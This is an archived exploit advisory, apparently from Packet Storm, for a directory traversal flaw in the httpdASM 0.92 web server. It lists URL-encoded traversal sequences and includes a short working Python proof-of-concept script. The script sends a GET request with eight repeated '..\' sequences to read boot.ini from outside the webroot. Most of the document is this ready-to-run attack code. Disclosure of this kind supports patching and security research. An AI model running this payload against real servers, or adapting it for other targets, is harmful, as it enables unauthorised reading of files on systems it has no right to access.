httpdASM 0.92 Directory Traversal

2010-12-28T00:00:00
ID PACKETSTORM:97130
Type packetstorm
Reporter AutoSec Tools
Modified 2010-12-28T00:00:00

Description

                                        
                                            `# ------------------------------------------------------------------------  
  
# Software................httpdASM 0.92  
  
# Vulnerability...........Directory Traversal  
  
# Download................http://www.japheth.de/httpdASM.html  
  
# Release Date............12/27/2010  
  
# Tested On...............Windows XP  
  
# ------------------------------------------------------------------------  
  
# Author..................John Leitch  
  
# Site....................http://www.johnleitch.net/  
  
# Email...................john.leitch5@gmail.com  
  
# ------------------------------------------------------------------------  
  
#   
  
# --Description--  
#   
# A directory traversal vulnerability in httpdASM 0.92 can be exploited  
# to read files outside of the webroot directory.  
#   
#   
# --Exploit--  
#   
# %2E%2E%5C  
# %2E%2E%2F  
#   
#   
# --PoC--  
  
  
  
import socket  
  
host = 'localhost'  
port = 80  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(8)  
s.connect((host, port))  
s.send('GET /' + '%2E%2E%5C' * 8 + 'boot.ini HTTP/1.1\r\n'  
'Host: ' + host + '\r\n\r\n');  
  
print s.recv(8192);  
`